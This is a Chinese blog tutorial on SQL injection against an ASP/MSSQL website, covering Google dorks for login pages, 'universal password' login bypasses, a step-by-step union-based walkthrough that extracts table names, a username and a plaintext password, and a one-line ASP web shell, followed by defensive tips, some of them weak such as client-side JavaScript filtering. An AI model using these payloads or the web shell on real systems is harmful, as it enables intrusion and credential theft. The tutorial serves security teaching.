[渗透攻防] 一.从数据库原理学习网络攻防及防止SQL注入
這是最近自己學(xué)習(xí)滲透和網(wǎng)站攻防的文章,希望能深入地學(xué)習(xí)這部分知識(shí),同時(shí)認(rèn)了Na師傅和Rong師傅,知道了人外有人、天外有天,真的很享受這種探索問題、解決問題和分析知識(shí)的過程。希望文章對(duì)你有所幫助,尤其是學(xué)習(xí)網(wǎng)站如何防止SQL注入及數(shù)據(jù)庫原理的初學(xué)者或安全工程師。如果文章中存在錯(cuò)誤或不足之處,還請(qǐng)海涵~
? ? 一.Google搜索知識(shí)
? ? 二.萬能密碼原理
? ? 三.數(shù)據(jù)庫解讀SQL注入攻防原理
? ? ? ? 1.數(shù)據(jù)庫如何判斷注入點(diǎn)
? ? ? ? 2.數(shù)據(jù)庫如何判斷字段總數(shù) order by
? ? ? ? 3.數(shù)據(jù)庫獲取顯示位 union
? ? ? ? 4.數(shù)據(jù)庫顯示錯(cuò)誤網(wǎng)頁及對(duì)應(yīng)數(shù)據(jù) db_name
? ? ? ? 5.數(shù)據(jù)庫獲取表名及列名,Python爬蟲引入
? ? ? ? 6.數(shù)據(jù)庫獲取登錄表usr字段 id=object_id('usr')
? ? ? ? 7.數(shù)據(jù)庫返回用戶名和密碼?
? ? ? ? 8.登錄系統(tǒng)并獲取WebShell
? ? 四.防SQL注入措施及建議
一. Google搜索知識(shí)
Google提供了強(qiáng)大的搜索功能,可以獲取精準(zhǔn)的結(jié)果。如果訪問不了,也可以通過百度獲取相關(guān)內(nèi)容,但是結(jié)果遠(yuǎn)沒有谷歌精準(zhǔn),很多無關(guān)的廣告及視頻會(huì)返回給你。
方法如下:
intitle:eastmount
搜索網(wǎng)頁標(biāo)題包含eastmount字符的網(wǎng)頁。
inurl:cbi
搜索包含特定字符cbi的URL。
intext:cbi
搜索網(wǎng)頁正文內(nèi)容包含特定字符cbi的網(wǎng)頁。
filetype:ppt
搜索制定類型的文件,返回所有以ppt結(jié)尾的文件URL。
site
找到與指定網(wǎng)站有聯(lián)系的URL。
常用示例:inurl:login.asp、inurl:asp?id=、inurl:login.asp intilte:貴州
二. 萬能密碼原理
萬能密碼通常是指開發(fā)人員在開發(fā)過程中使用超級(jí)管理員進(jìn)行開發(fā),開發(fā)完成后沒有過濾掉這些常用的超級(jí)管理員;另一種是存在SQL漏洞管理員賬號(hào)。下面分別進(jìn)行討論:
1.萬能密碼:用戶名 admin、密碼admin,用戶名admin、密碼123456
2.萬能密碼:用戶名 'or'='or'、密碼 'or'='or'
? ?原理解釋:假設(shè)用戶登錄對(duì)應(yīng)的語句為:
? ?select name, pwd from login where name='' and pwd='';
? ?如果用戶名輸入正確則直接登錄,否則提示用戶名或密碼錯(cuò)誤,使用萬能密碼后的SQL語句如下:
? ?select name, pwd from login where name=''or'='or'' and pwd=''or'='or'';
? ?核心代碼,兩個(gè)單引號(hào)匹配,即name='',然后or連接,單引號(hào)等于單引號(hào)('=')這是恒成立的,緊接著or連接兩個(gè)單引號(hào)(''),同理密碼pwd。這樣or連接的('=')是恒成立的,故返回結(jié)果為真,導(dǎo)致直接登錄。
3.萬能密碼:用戶名 'or''='、密碼'or''='
? ?原理解釋:此時(shí)對(duì)應(yīng)的SQL語句如下:
? ?select name, pwd from login where name=''or''='' and pwd=''or''='';
4.萬能密碼:用戶名'or'='--、密碼'or'='--
? ?原理解釋:此時(shí)對(duì)應(yīng)的SQL語句如下:
? ?select name, pwd from login where name=''or'='--' and pwd=''or'='--';
通過如 inurl:login.asp 等搜索技術(shù)找到一些列網(wǎng)站后臺(tái)登錄界面后,反復(fù)嘗試這些萬能密碼進(jìn)行登錄。防范措施也比較簡(jiǎn)單:
1.開發(fā)人員開發(fā)完成后,過濾掉admin等常用賬號(hào)或修改密碼;
2.當(dāng)用戶第一次登錄的時(shí)候,對(duì)簡(jiǎn)單的密碼進(jìn)行修改提示,防止暴力破解;
3.用戶名或密碼屏蔽掉單引號(hào)(')、等號(hào)(=)、注釋(--)等特殊字符;
4.對(duì)嘗試SQL注入的IP地址進(jìn)行報(bào)警提示或日志記錄。
三. 數(shù)據(jù)庫解讀SQL注入攻防原理
下面通過一個(gè)簡(jiǎn)單的例子從數(shù)據(jù)庫原理知識(shí)解讀SQL注入攻防原理,內(nèi)容比較簡(jiǎn)單,但希望假設(shè)存在一個(gè)網(wǎng)址能正常顯示內(nèi)容:
http://xxxxx/show.asp?code=115
對(duì)應(yīng)的后臺(tái)SQL語句可能如下:
select .... from table where code='115' and xxxx;
1.數(shù)據(jù)庫如何判斷注入點(diǎn)
判斷注入點(diǎn)的方法很多,比如show.asp?code=115' 加單引號(hào),show.asp?code=115-1 減1,這里介紹一個(gè)經(jīng)典的方法。
(1)?http://xxxxx/show.asp?code=115' and 1=1 -- ? ? ? (正常顯示)
對(duì)應(yīng)的SQL語句:
select .... from table where code='115' and 1=1 --?and xxxx;
單引號(hào)(')匹配code='115,然后and連接,1=1恒成立,注釋(--)掉后面語句。
(2)?http://xxxxx/show.asp?code=115' and 1=2 -- ? ? ??(錯(cuò)誤顯示)
對(duì)應(yīng)的SQL語句:
select .... from table where code='115' and 1=2 --?and xxxx;
單引號(hào)(')匹配code='115,然后and連接,1=2恒錯(cuò)誤,注釋(--)掉后面語句。
2.數(shù)據(jù)庫如何判斷字段總數(shù) order by
(1)?http://xxxxx/show.asp?code=115' order by 1 -- ? ?(正常顯示)
對(duì)應(yīng)的SQL語句:
select .... from table where code='115' order by 1 --?and xxxx;
按照1個(gè)字段進(jìn)行排序,正常顯示表示該URL對(duì)應(yīng)的SQL語句至少一個(gè)字段。
(2)?http://xxxxx/show.asp?code=115' order by 10 -- ?(正常顯示)
對(duì)應(yīng)的SQL語句:
select .... from table where code='115' order by 10 --?and xxxx;
依次按照字段增加網(wǎng)上進(jìn)行排序,如果提示錯(cuò)誤order by 11,則表示共10個(gè)字段。
(3)?http://xxxxx/show.asp?code=115' order by 11 -- ?(錯(cuò)誤顯示)
?
3.數(shù)據(jù)庫獲取顯示位 union
在得到字段個(gè)數(shù)后,需要獲取字段位置,則使用union或union all。其中union表示將兩個(gè)select結(jié)果整體顯示,并合并相同的結(jié)果,union all顯示全部結(jié)果。例如:
(1)? http://xxxxx/show.asp?code=115' union all select null,...,null --??
正常顯示,共10個(gè)null,表示通配符,如果9個(gè)null會(huì)報(bào)錯(cuò),需對(duì)應(yīng)10個(gè)字段。
(2)?http://xxxxx/show.asp?code=115' union all select 1,...,null --??
依次替換成數(shù)字,測(cè)試哪幾個(gè)字段有結(jié)果,如果報(bào)錯(cuò)則替換回null。最終的結(jié)果為:
show.asp?code=115' union all?select 1,null,3,null,null,6,7,8,9,10 --
對(duì)應(yīng)的SQL語句為:
select .... from table where code='115'?union all?select 1,null,3,null,null,6,7,8,9,10 --?xxxx;
(3)?http://xxxxx/show.asp?code=-1' union all select 1,...,null --??
然后將數(shù)字115替換成-1,一個(gè)不存在的界面,則會(huì)顯示如下所示結(jié)果,可以看到附件顯示對(duì)應(yīng)的值7、8、9,再想辦法將我們需要的結(jié)果在這里顯示即可,這些數(shù)據(jù)都是從后臺(tái)數(shù)據(jù)庫中查詢出來的。
4.數(shù)據(jù)庫顯示錯(cuò)誤網(wǎng)頁及對(duì)應(yīng)數(shù)據(jù) db_name
該網(wǎng)站使用的數(shù)據(jù)庫為MSSQL,則一定特定的字段需要知道:
? ?host_name():連接數(shù)據(jù)庫服務(wù)器的計(jì)算機(jī)名稱
? ?@@version:獲取數(shù)據(jù)庫版本號(hào)
? ?db_name():數(shù)據(jù)庫的庫名稱
? ?@@servername:當(dāng)前數(shù)據(jù)庫計(jì)算機(jī)的名稱=host_name()
(1)?http://xxxxx/show.asp?code=-1' union all
select?1,null,3,null,null,6,host_name(),@@version,db_name(),10 --??
輸出結(jié)果如下所示:
? ? 附件1:AYD
? ? 附件2:Microsoft SQL Server....
? ? 附件3:ahykd_new
其中數(shù)據(jù)庫的名稱就是ahykd_new,接下來相同的道理獲取數(shù)據(jù)庫所有表及列。
5.數(shù)據(jù)庫獲取表名及列名,Python爬蟲引入
SQL Server自帶系統(tǒng)對(duì)象表,當(dāng)前數(shù)據(jù)庫所有字段。
? ? sysobjects 表名
? ? syscolumns 列名
其中,name表示對(duì)象名(表名),id表示表編號(hào),type表示對(duì)象類型,其值為U表示用戶表,S表示系統(tǒng)表,C約束,PK主鍵等。
sysobjects 和?syscolumns 之間以id互相對(duì)應(yīng),一個(gè)表名在sysobjects得到id后可以在syscolumns找到它的列名。
重點(diǎn)知識(shí):
a.查看所有表名語句
select name from sysobjects where type='U';
b.詢表table1的所有字段名稱
select name from syscolumns where id=object_id('table1');
(1)?http://xxxxx/show.asp?code=-1' union all?
select?1,null,3,null,null,6,7,8,
(select top 1 name from sysobjects where type='U'),10 --
輸出結(jié)果如下所示:?
? ? 附件1:7
? ? 附件2:8
? ? 附件3:kc_jxjd
其中top 1 name用于輸出1個(gè)字段(相當(dāng)于MySQL使用limit 1),sysobjects中u為用戶表,count(*)可以統(tǒng)計(jì)總共87個(gè)表。
問題:現(xiàn)在是獲取1個(gè)表,那么如何獲取其他表呢?
(2)?http://xxxxx/show.asp?code=-1' union all?
select?1,null,3,null,null,6,7,8, (select top 1 name from
(select top 2 name from sysobjects?where type='U' order by desc) a
order by 1 asc),10 --
通過子查詢一個(gè)升序,一個(gè)降序獲取第二個(gè)值,同理第三個(gè)top 3。
下面通過Python定義一個(gè)爬蟲不斷訪問top n,獲取所有的表名,代碼如下:
6.數(shù)據(jù)庫獲取登錄表usr字段 id=object_id('usr')
(1)?http://xxxxx/show.asp?code=-1' union all?
select?1,null,3,null,null,6,7,8,
(select top 1 name from syscolmns where id=object_id('usr')),10 --
輸出結(jié)果如下所示:?
? ? 附件1:7
? ? 附件2:8
? ? 附件3:answer
其中top 1 name用于輸出1個(gè)字段,表usr的一個(gè)列表。
(2) 核心SQL語句獲取不同的列名:
(select top 1 name from?(select top?3?name from?syscolumns?where id=object_id('usr') order by asc) a?order by 1 desc)
輸出結(jié)果如下所示:?
? ? 附件1:7
? ? 附件2:8
? ? 附件3:dic_roll
同理,也可以借助Python獲取所有字段,如果字段少,手工即可測(cè)試出來,count(*)返回字段個(gè)數(shù)。最后發(fā)現(xiàn),用戶名為usr_name,密碼為passwd。
7.數(shù)據(jù)庫返回用戶名和密碼?
(1)?http://xxxxx/show.asp?code=-1' union all?
select?1,null,3,null,null,6,7,8,(select top 1 usr_name from usr),10 --
輸出結(jié)果如下所示:?
? ? 附件1:7
? ? 附件2:8
? ? 附件3:2016001
輸出用戶名2016001,在搜索密碼。
(2)?http://xxxxx/show.asp?code=-1' union all?
select?1,null,3,null,null,6,7,8,
(select passwd ?from usr where usr_name='2016001'),10 --
輸出結(jié)果如下所示:?
? ? 附件1:7
? ? 附件2:8
? ? 附件3:123456
輸出用戶名2016001,密碼123456,此時(shí)即可登錄,通過Python可以獲取所有值。
8.登錄系統(tǒng)并獲取WebShell
登錄后臺(tái)基本完成,下面將講解如何進(jìn)行SQL防御。
PS:<%eval request("Nana") %>
四. 防SQL注入措施及建議
上面通過數(shù)據(jù)庫原理進(jìn)行了詳細(xì)的講解,這種網(wǎng)站基本很少存在了,幾乎為0,更多的網(wǎng)頁都有相關(guān)的屏蔽的。比如:
1.在URL設(shè)置不允許非法字符,如單引號(hào)、等號(hào)、注釋--、減號(hào),提示非法參數(shù);
2.在URL設(shè)置不允許SQL常見的關(guān)鍵詞,如and、select、or、insert等;
3.傳遞的id=115參數(shù)必須為數(shù)字才能正常跳轉(zhuǎn),否則跳轉(zhuǎn)錯(cuò)誤,如下圖所示:
4.服務(wù)器啟用SQL注入攔截功能,提示當(dāng)前網(wǎng)頁的 URL / POST / COOKIES中包含了特定的 SQL字符而被防火墻攔截,因?yàn)榭赡芡ㄟ^POST、Cookies進(jìn)行攻擊。各方面都需要做到防御。
5.可以使用Javascript在客戶端進(jìn)行不安全字符屏蔽,也可以在jsp中調(diào)用該函數(shù)檢查是否包函非法字符,或使用正則表達(dá)式過濾傳入的參數(shù),防止SQL從URL注入。
希望文章對(duì)你有所幫助,尤其是網(wǎng)絡(luò)安全的程序員,如果文章存在錯(cuò)誤或不足之處,還請(qǐng)海涵。感謝娜師傅的一路陪伴,學(xué)中文的扔掉了手中的尤克里里,教我寫代碼也是很瘋狂的啊,哈哈!不忘初心,繼續(xù)前行。加油,秀璋。綠妖,晚安!
(By:Eastmount 2017-07-13 晚上12點(diǎn) ?http://blog.csdn.net/eastmount/?)
總結(jié)
以上是生活随笔為你收集整理的[渗透攻防] 一.从数据库原理学习网络攻防及防止SQL注入的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【python数据挖掘课程】十五.Mat
- 下一篇: [渗透攻防] 二.SQL MAP工具从零